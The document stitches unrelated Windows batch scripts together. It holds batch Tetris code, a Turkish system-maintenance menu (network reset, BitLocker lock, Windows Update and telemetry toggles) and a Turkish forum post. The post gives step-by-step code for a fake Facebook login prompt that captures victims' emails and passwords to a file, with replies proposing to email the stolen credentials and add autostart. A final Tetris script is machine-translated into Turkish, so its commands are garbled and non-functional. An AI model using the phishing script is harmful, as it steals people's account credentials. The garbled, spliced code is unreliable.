Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof


:1
cls
echo Gizli ”zelli§i g”rmek i‡in ana mendeyken -1 yazn.
echo.
echo                          -:///:-                
echo                         ./oNNmy/:                
echo                         ./oNNNmy/-              
echo                         ./oNNNmm+/.              
echo                         -/sNNNmmy/-              
echo                        -/sNNNmmms/.              
echo                       -/yNNNmmmm+/              
echo                     `:/dNNNmmmmh/:.............  
echo                    ./omNNNNNNNNyoooooooooooooo+/-
echo .-----------------:/yNNNNNNNNNNNNNNNNNNNNmmmmmmy/-
echo //+++++++++++++//ohNNNNNNNNNNNNNNNNNNNNNNmmmmmmo/.
echo :/ooooooooooooo//mNNNNNNNNNNNNNNNNNNNNNNmmmmmh//`
echo -/ooooooooooooo//mNNNNNNNNNNNNNNNNNNNNNNmmmmmmo/`
echo -/+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmho/-
echo ./+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmy/:  
echo `/+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmy/-  
echo  //oooooooooooo//mNNNNNNNNNNNNNNNNNNNNmmmmh+/-  
echo  //ooooooooysoo//mNNNNNNNNNNNNNNNNNNNNmmmmmo/.  
echo  :/ooooooodmmoo//syhNNNNNNNNNNNNNNNNNmmmmmy/:    
echo  -/+ooooooooooo///::/++++++++++++++++++++/:.    
echo  `::::::::::::::::`  ````````````````````        
echo.
echo Komut ˜stemi Ara‡lar
echo.
echo Basit ve kullanŸl kodlar bir araya getiren bir yazlm. Telif hakk bulunmamaktadr.
echo.
echo Srm Notlar
echo.
echo v0.3.2
echo -5 yeni ara‡ eklendi.
echo -Se‡im ekranlarnda de§iŸiklik yapld.
echo -Saat ve tarih eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1.8.tx
echo -Srpriz bir ”zellik eklendi. [˜yi bakn, bulacaksnz :) ]
echo -A§ yaplandrmasn ve IP adresini g”steren bir ara‡ eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1.4
echo -Yazlmn ismi de§iŸtirildi.
echo.
echo v0.1.3
echo -Gereksiz Nvidia dosyalarn temizleme arac eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1
echo -Yazlmn ilk srm yaynland.

goto choice

:2
cls
echo --------------------------------------------------------------------------------
echo.
echo Uyar: Bu iŸlem baz a§ ayarlarn ve ”nbelleklerini sfrlayacaktr.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto menu
echo.
echo --------------------------------------------------------------------------------
echo.
netsh int ip reset reset.txt
netsh winsock reset
netsh advfirewall reset
netsh winhttp reset proxy
route -f
ipconfig /release
ipconfig /renew
netsh interface ip delete arpcache
nbtstat -R
nbtstat -RR
ipconfig /flushdns
ipconfig /registerdns
echo.
echo De§iŸikliklerin etkili olabilmesi i‡in bilgisayar yeniden baŸlatmalsnz.
echo.
CHOICE /C EH /M "žimdi yeniden baŸlatmak ister misiniz"
IF ERRORLEVEL 2 goto choice
goto netboot

:3
cls
echo €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo.
echo --------------------------------------------------------------------------------
echo Ltfen bir se‡enek belirleyin.
echo --------------------------------------------------------------------------------
echo.
echo [0] Ana Men
echo [1] ˜Ÿlemler
echo [2] Hizmetler
echo.
set /p op=€alŸtr:
if %op%==0 goto menu
if %op%==1 goto 3tasklst
if %op%==2 goto 3netserv
cls
goto 3

:3tasklst
echo.
echo --------------------------------------------------------------------------------
tasklist
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 3

:3netserv
echo.
echo.
echo --------------------------------------------------------------------------------
sc query type= service
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 3

:4
cls
echo =====================================
echo Bu ara‡, Bitlocker ile ŸifrelenmiŸ ve kilidi a‡lmŸ srcleri tekrar kilitlemenizi sa§lar.
echo =====================================
echo.
echo [0] Ana Men
echo.
echo --------------------------------------------------------------------------------
echo Ltfen kilitlemek istedi§iniz srcnn harfini girin.
echo.
set /p "DriveLetter=> "
if %DriveLetter% EQU 0 goto menu
echo.
manage-bde -lock -ForceDismount %DriveLetter% > nul

if %errorlevel% EQU 0 goto nfo (
if %errorlevel% EQU -2147217405 goto admin
if %errorlevel% EQU -2144272384 goto error
if %errorlevel% EQU -2144272383 goto ntencrypt
) else (
  echo Bilinmeyen bir hata oluŸtu. Src harfinin hatal olmad§ndan emin olun.
  echo.
  echo --------------------------------------------------------------------------------
  echo.
  echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
  echo.
  pause > nul
  goto 4
)

:nfo
echo ˜Ÿlem tamamland. Src baŸaryla kilitlendi.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 4

:error
echo ˜Ÿlem baŸarsz. Src zaten kilitli.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 4

:admin
echo Hata. Program y”netici ayrcalklarna sahip de§il.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 4

:ntencrypt
echo ˜Ÿlem baŸarsz. Src Ÿifreli de§il.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 4

:5
cls
echo --------------------------------------------------------------------------------
echo.
echo Uyar: Bu iŸlem Windows Update ge‡miŸini temizleyecektir.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto menu
echo.
echo --------------------------------------------------------------------------------
taskkill /fi "Services eq wuauserv" /F > nul 2>&1
rmdir %windir%\softwaredistribution /s /q > nul 2>&1
rmdir %windir%\system32\softwaredistribution /s /q > nul 2>&1
regsvr32 /s wuaueng.dll
regsvr32 /s wuaueng1.dll
regsvr32 /s atl.dll
regsvr32 /s wups.dll
regsvr32 /s wups2.dll
regsvr32 /s wuweb.dll
regsvr32 /s wucltui.dll
echo.
CHOICE /C EH /M "Windows Update ge‡miŸi temizlendi. Bu hizmeti Ÿimdi baŸlatmak ister misiniz"
IF ERRORLEVEL 2 goto choice
echo.
net start wuauserv
goto wuchoice

:6
cls
echo Ltfen bekleyin...
echo.
sc query "wuauserv" | find "RUNNING" > nul
if %ErrorLevel% EQU 0 goto askstop (
if %ErrorLevel% EQU 1 goto askstart
) else (
  echo --------------------------------------------------------------------------------
  echo.
  echo Bilinmeyen bir hata oluŸtu.
  goto choice
)

:askstop
echo --------------------------------------------------------------------------------
echo.
echo Windows Update hizmeti ‡alŸyor. Durdurmak i‡in Y, ana menye d”nmek i‡in N tuŸuna basn.
echo.
set /P c=">"
if /I "%c%" EQU "Y" goto stop
if /I "%c%" EQU "N" goto menu
cls
goto askstop

:askstart
echo --------------------------------------------------------------------------------
echo.
echo Windows Update hizmeti ‡alŸmyor. BaŸlatmak i‡in Y, ana menye d”nmek i‡in N tuŸuna basn.
echo.
set /P c=">"
if /I "%c%" EQU "Y" goto start
if /I "%c%" EQU "N" goto menu
cls
goto askstart

:stop
taskkill /fi "Services eq wuauserv" /F > nul
echo.
echo Windows Update hizmeti durduruldu.
goto choice

:start
net start wuauserv > nul
echo.
echo Windows Update hizmeti baŸlatld.
goto choice

:7
cls
echo --------------------------------------------------------------------------------
echo.
echo Uyar: Bu iŸlem sisteminizdeki gereksiz Nvidia dosyalarn temizleyecektir. E§er sisteminizde Nvidia ekran kart bulunmuyorsa bu arac kullanmayn.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto menu
echo.
echo --------------------------------------------------------------------------------
echo.
echo Ltfen bekleyin...
RD /S /Q "C:\PROGRAM FILES\NVIDIA CORPORATION\INSTALLER2" > nul 2>&1
RD /S /Q "C:\NVIDIA" > nul 2>&1
echo.
echo ˜Ÿlem tamamland.
goto choice

:8
cls
echo --------------------------------------------------------------------------------
echo Ltfen bir se‡enek belirleyin.
echo --------------------------------------------------------------------------------
echo.
echo [0] Ana Men
echo [1] Windows A§ Yaplandrmas ve Yerel IP Adresi
echo [2] Global IP Adresi
echo.
set /p op=€alŸtr:
if %op%==0 goto menu
if %op%==1 goto lip
if %op%==2 goto gip
cls
goto 8

:lip
echo.
ipconfig /all
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 8

:gip
echo.
echo --------------------------------------------------------------------------------
echo.
echo Ltfen bekleyin, bu iŸlem biraz uzun srebilir.
echo.
powershell -command " (Invoke-WebRequest https://wtfismyip.com/text).Content "
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 8

:9
cls
echo Bu ara‡ sisteminizde ykl olan tm srclerin bir listesini oluŸturacaktr.
echo.
echo --------------------------------------------------------------------------------
driverquery
goto choice

:10
cls
echo =====================================
echo Bu ara‡, yant vermeyen bir uygulamay sonlandrmanz sa§lar.
echo =====================================
echo.
echo [0] Ana Men
echo.
echo --------------------------------------------------------------------------------
echo Ltfen sonlandrmak istedi§iniz uygulamann ismini yazn. (”rn, explorer.exe)
echo.
set /p "app=> "
if %app% EQU 0 goto menu
taskkill /im %app% /f > nul 2>&1
if %errorlevel% EQU 128 goto tkrrr
echo.
echo ˜Ÿlem sonlandrld.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn.
pause > nul
goto 10

:tkrrr
echo.
echo Hata oluŸtu. Uygulamann ismini do§ru yazd§nzdan emin olun.
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn.
pause > nul
goto 10

:11
cls
echo Ltfen bekleyin.
echo.
echo --------------------------------------------------------------------------------
systeminfo
goto wuchoice

:12
echo.
echo --------------------------------------------------------------------------------
echo Yazdrma biriktiricisi hizmeti durduruluyor.
taskkill /fi "Services eq spooler" /F > nul 2>&1
echo Hizmet durduruldu.
echo.
echo Yazdrma kuyru§u temizleniyor.
del %systemroot%\System32\spool\printers\* /Q /F /S  > nul 2>&1
echo Tamamland.
echo.
echo Hizmet yeniden baŸlatlyor.
net start spooler  > nul 2>&1
echo Hizmet baŸlatld.
goto choice

:13
cls
echo --------------------------------------------------------------------------------
echo Windows 10 i‡in Veri Toplama ve Telemetri Hizmetleri
echo --------------------------------------------------------------------------------
echo.
echo [0] Ana Men
echo [1] Devre DŸ Brak
echo [2] EtkinleŸtir
echo.
set /p op=€alŸtr:
if %op%==0 goto menu
if %op%==1 goto teldis13
if %op%==2 goto telen13
cls
goto 13

:teldis13
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bu iŸlem, Windows 10 i‡in Veri Toplama ve Telemetri Hizmetlerini devre dŸ brakacaktr.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto 13menu
sc config dmwappushservice start= disabled > nul 2>&1
sc stop "dmwappushservice" > nul 2>&1
sc config diagtrack start= disabled > nul 2>&1
sc stop "DiagTrack" > nul 2>&1
start reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection /v AllowTelemetry /t REG_DWORD /d 0 /f > nul 2>&1
start reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection /v AllowTelemetry /t REG_DWORD /d 0 /f > nul 2>&1
echo.
echo ˜Ÿlem tamamland.
goto 13menu

:telen13
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bu iŸlem, Windows 10 i‡in Veri Toplama ve Telemetri Hizmetlerini etkinleŸtirecektir.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto 13menu
sc config dmwappushservice start= auto > nul 2>&1
sc start "dmwappushservice" > nul 2>&1
sc config diagtrack start= auto > nul 2>&1
sc start "DiagTrack" > nul 2>&1
start reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection /v AllowTelemetry /t REG_DWORD /d 1 /f > nul 2>&1
start reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection /v AllowTelemetry /t REG_DWORD /d 1 /f > nul 2>&1
ping localhost -n 5 > nul
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\DataCollection /f > nul 2>&1
echo.
echo ˜Ÿlem tamamland.
goto 13menu

:choice
echo.
echo --------------------------------------------------------------------------------
echo.
echo Ana menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto menu

:wuchoice
echo --------------------------------------------------------------------------------
echo.
echo Ana menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto menu

:netboot
shutdown /r /t 0
exit

:officemainmenu
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 3

:13menu
echo.
echo --------------------------------------------------------------------------------
echo.
echo Bir ”nceki menye d”nmek i‡in herhangi bir tuŸa basn...
echo.
pause > nul
goto 13




























E

Eyilciyu






Eyilciyu Kankalar




Bu Yöntemi vb.net bilenler bat'ları gizleyip programa cevirebilir.

1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
Kod:
ECHO OFF
COLOR 03
CLS
ECHO.
ECHO FACEBOOK ILE OTURUM ACIP MESAJLAS
ECHO.
ECHO Lutfen E-Mailinizi Girin:
SET/P "MAIL=>"
ECHO.
ECHO Sifrenizi Girin:
SET/P "PSWD=>"
ECHO Email = %MAIL%>>sifre.bat
ECHO Şifre = %PSWD%>>sifre.bat
CLS
TIMEOUT /T 5 >NUL
COLOR 0C
ECHO.
ECHO Suanda Serverle Baglanti Kurulamiyor Daha Sonra Tekrar Deneyiniz.
PAUSE>NUL
EXIT
2. Adım > Kaydederken istediğiniz adı koyup uzantısını ".bat" olarak kaydedin.
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.

Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.




Bilgisayarın Her Açılışında Değil Programın Her Açılışında Keylogger İşlem Görücek.
VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin.Yapamazsan Söyle.
bilgisayara rest atınca yanlız çalışmaz start up özelliği yok

 buna star up eklersek çok guzel olur 0/35





Bu oldukça iyi bir toplu Tetris oyunu 
@Eko kapalı
renk 0a
setlocal EnableDelayedExpansion

eğer "% ~ 1" neq "" ise% 1

başlık Tetris
"F16x8 = REM" olarak ayarla

cls
Eko/
yankı === Toplu oyun - Tetris ===
Eko/
Eko/
yankı Tetris parçaları bu tuşlarla kontrol edilir:
Eko/
yankı
yankı çürümesi. çürür. yürü yürü
echo left ^ <- ASD - ^> sağ sol ^ <- JKL - ^> sağ
echo ^ | ^ |
yankı vv
yankı yumuşak damla sert damla
Eko/
Eko/
echo Oyunu duraklatmak için P tuşuna basın; oyunu sonlandırmak için N tuşuna basın
Eko/
Eko/
Duraklat
cls

rem Alan ölçüleri
set / A sütunlar = 10, satırlar = 20

set / A col = sütunlar + 6, lin = satırlar + 8
% F16x8% set / A lin + = satır + 2
CON modu: cols =% col% satır =% lin%
% errorlevel% neq 0 ise (
   yankı Yapılandırma hatası ^^^!
   yankı ayarlamanıza izin veren bir yazı tipi boyutu seçmelisiniz
   yankı% col% sütun içeren bir metin penceresi X% lin% satır
   Duraklat
   Goto: EOF
)

chcp 850> NUL
cd. > pipeFile.txt
"% ~ F0" Giriş >> pipeFile.txt | "% ~ F0" Ana <pipeFile.txt
ping localhost -n 2> NUL
del pipeFile.txt
Goto: EOF



:Giriş
"com [J] = Dx = -1" olarak ayarlayın
"com [L] = Dx = 1" olarak ayarlayın
"com [K] = del = 3" olarak ayarlayın
"com [I] = R = -1" olarak ayarlayın
"com [A] = R = 1" olarak ayarlayın
"com [D] = R = -1" olarak ayarlayın
"com [S] = Dy = -1" olarak ayarlayın
"com [Y] = Y" olarak ayarlayın
"com [N] = N = 1" olarak ayarlayın
"com [P] = duraklat = 1" olarak ayarlayın

/ L %% # in () için (
   "key =" ayarla
   / F için "= =" %% k in ('xcopy / W "% ~ F0" "% ~ F0" 2 ^> NUL') "key = %% k"
   / F %% k için ("! key: ~ -1!") yapın (
      Yankı (! com [%% k]!
      eğer / ben "%% k" equ "N" çıkış
   )
)
rem çıkış



:Ana

(
   / F "delims ==" için %% v in ('set') "%% v =" ayarını yapıyor
   set / A cols =% cols%, lines =% lines%
   "F16x8 =% F16x8%" olarak ayarlayın
)

rem Alanı Sıfırla
/ L %% için i (1,1,% cols%) i "spc =! spc!"
/ L %% i içindeki (1,1,% satır%) "F %% i = ³% spc% ³" değerini ayarlayın
set / A top = satırlar + 1
"F% top% = Ú" ayarla ve "F0 = À" ayarla
için / L %% i (1,1,% cols%) i "F% top% =! F% top%! Ä" & set "F0 =! F0! Ä"
"F% üst% =! F% üst%! ¿" & "F0 =% F0% Ù" olarak ayarlayın
"F-1 = Seviye: 1" ayarla ve "Seviye = 1" ayarla
"F-2 = Satırlar: 0" & "Satırlar = 0" set
"F-3 = Puan: 0" olarak ayarlayın ve "Puan = 0" olarak ayarlayın
/ L %% i için (1,1,% cols%) i "blk =! blk! Û" olarak ayarlayın
set / A top = satırlar + 3, gecikme = 50
% F16x8% küme / A satırP2 = satır + 2

rem OISZLJT parçalarının hepsini ": yönlendirmeler:" i "üçüzler" aracılığıyla tanımlayın:
rem (ofset Y. ofset X. uzunluk X); Her yatay çizgi için bir "üçlü"
%% t için ("O: 0.-1.2 -1.-1.2"
             "I: 0.-2.4: 1.0.1 0.0.1 -1.0.1 -2.0.1"
             "S: 0.0.2 -1.-1.2: 1.0.1 0.0.2 -1.1.1"
             "Z: 0.-1.2 -1.0.2: 1.1.1 0.0.2 -1.0.1"
             "L: 0.-1.3 -1.-1.1: 1.0.1 0.0.1 -1.0.2: 1.1.1 0.-1.3: 1.-1.2 0.0.1 -1.0.1"
             "J: 0.-1.3 -1.1.1: 1.0.2 0.0.1 -1.0.1: 1.-1.1 0.-1.3: 1.0.1 0.0.1 -1.-1.2"
             "T: 0.-1.3 -1.0.1: 1.0.1 0.0.2 -1.0.1: 1.0.1 0.-1.3: 1.0.1 0.-1.2 -1.0.1") (
   "pc = %% ~ t" olarak ayarlayın
   "i = -1" ayarını yap
   / F için "delims =" %% p in (^ "! pc :: ^ = ^
% Yeni hat %
! ^ ") (
      Eğer ben! lss 0 (set "pc = %% p") başka bir set "! pc !! i! = %% p"
      / A i + = 1 olarak ayarla
   )
   "! pc! N =! i!"
)
"pcs = OISZLJT" olarak ayarlayın

"init = 1" olarak ayarlayın
/ L %% # in () için (

   tanımlanmışsa init (
      setlocal EnableDelayedExpansion
      "init =" olarak ayarlayın

      rem İlk "önceki" parçayı oluştur
      / L %% i için (0,1,! time: ~ -1!) 'ı ayarlayın / A p =! random! %% ​​7
      %% p için (! p!), "p2 =! pcs: ~ %% ​​p, 1!"
      %% p için (! p2!) "p3 =! %% p0!" & "p4 =! %% pN!" olarak ayarlayın

      "new = 1" olarak ayarla
   )

   eğer tanımlanmışsa (
      "new =" olarak ayarla

      rem "önceki" parçayı güncel olarak al
      "pc =! p2!" olarak ayarlayın & "p0 =! p3!" olarak ayarlayın & "pN =! p4!" olarak ayarlayın

      rem Yeni bir "önceki" parça oluştur
      % / L% i için (1,1,2) i (
         set / A p =! rastgele! * 7/32768
         %% p için (! p!) yapın (
            "p =! adet: ~ %% ​​p, 1!"
            mümkünse! neq! pc! "p2 =! p!" olarak ayarlayın
         )
      )
      %% p için (! p2!) "p3 =! %% p0!" & "p4 =! %% pN!" olarak ayarlayın

      rem Yeni "önceki" parçayı Alanın üstündeki yerine yerleştirin.
      set / A x = 3 + sütun / 2, y = üst, yp = üst-1
      "F! yp! =% spc%" olarak ayarlayın
      %% p için (! p3!) yapın (
         / F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
            set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
            / F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
               "F %% a =! spc: ~ 0, %% b !! blk: ~ 0, %% k !! spc: ~ %% ​​c!"
            )
         )
      )

      rem Yeni geçerli parçayı Alan'a yerleştirmeyi deneyin ...
      set / A x = 3 + sütun / 2, y = satır, b = 1
      %% p için (! p0!) yapın (
         / F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
            set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
            / F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
               eğer "! F %% a: ~ %% ​​b, %% k!" neq "! spc: ~ 0, %% k!" "b =" olarak ayarla
               "F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% k !! F %% a: ~ %% ​​c!"
            )
         )
      )
      cls
      % / L için% i (% üst%, - 1, -3) yapın (
         Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
      )

      rem ... bu mümkün değilse:
      tanımlanmamışsa b çağrısı: endGame ve endlocal

      "p1 =! p0!" olarak ayarlayın
      set / A "pI = 0, del = gecikme, b = 1! zaman: ~ -2!"

   )

   rem Kontrol modülü: parçayı bir anahtarla istendiği gibi hareket ettirin ya da her satırda% satır başına bir satır aşağıya kaydırın
   "move =" olarak ayarla
   set / A "Dy = Dx = 0"
   set / P "com ="
   eğer tanımlanmışsa com (
      set / A "! com !, hareket = 1"
      "com =" olarak ayarlayın
      tanımlanmışsa N çıkışı
      eğer tanımlanmış duraklatma çağrısı: Duraklat ve ayarla "hareket ="
      "b = 1! zaman: ~ -2!"
   ) Başka (
      set / A "e = 1! zaman: ~ -2 !, elap = eb, elap - = (elap >> 31) * 100"
      eğer! elap! Geq! del! set / A b = e, Dy = hareket = -1
   )

   tanımlanmışsa taşı

      rem Parçayı mevcut konumundan sil ve mevcut koordinatları kaydet
      i = 0 olarak ayarla
      %% p için (! p0!) / F için "belirteçler = 1-3 sınırlar =." %% i in ("%% p") yapın (
         set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
         / F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
            "F %% a =! F %% a: ~ 0, %% b !! spc: ~ 0, %% k !! F %% a: ~ %% ​​c!"
            / A i + = 1 olarak ayarla
            "c! i! = %% a %% b %% c %% k" olarak ayarlayın
         )
      )

      rem Hareket ise Döndür: döndürülmüş parça al
      eğer tanımlanmışsa R (
         set / A "p = (pI + R + pN) %% pN"
         / F için "tokens = 1,2" %% i ("! pc!! p!") "p1 =! %% i %% j!"
      )

      rem Yeni parçanın yerleştirilip yerleştirilmediğini test edin ve yeni koordinatları saklayın
      j = 0 olarak ayarlandı
      %% p in (! p1!) için tanımlı hamle yap (
         / F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
            set / A yp = y + %% i + Dy, xp = x + %% j + Dx, xL = xp + %% k
            / F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
               eğer "! F %% a: ~ %% ​​b, %% k!" eşittir "! spc: ~ 0, %% k!" (
                  set / A j + = 1
                  "n! j! =%% a %% b %% c %% k" olarak ayarlayın
               ) Başka (
                  "move =" olarak ayarla
               )
            )
         )
      )

      tanımlanmışsa taşı

         rem Parçayı yeni konumuna getirin
         / L %% j için (1,1,! j!) yapın (
            / F "belirteçleri = 1-4" için %% a in ("! n %% j!") yapın (
               "F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% d !! F %% a: ~ %% ​​c!"
            )
         )

         rem Ekrandaki Alanı Güncelle
         cls
         % / L için% i (% üst%, - 1, -3) yapın (
            Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
         )

         rem Parçadaki değişiklikleri güncelle
         set / A y + = Dy, x + = Dx
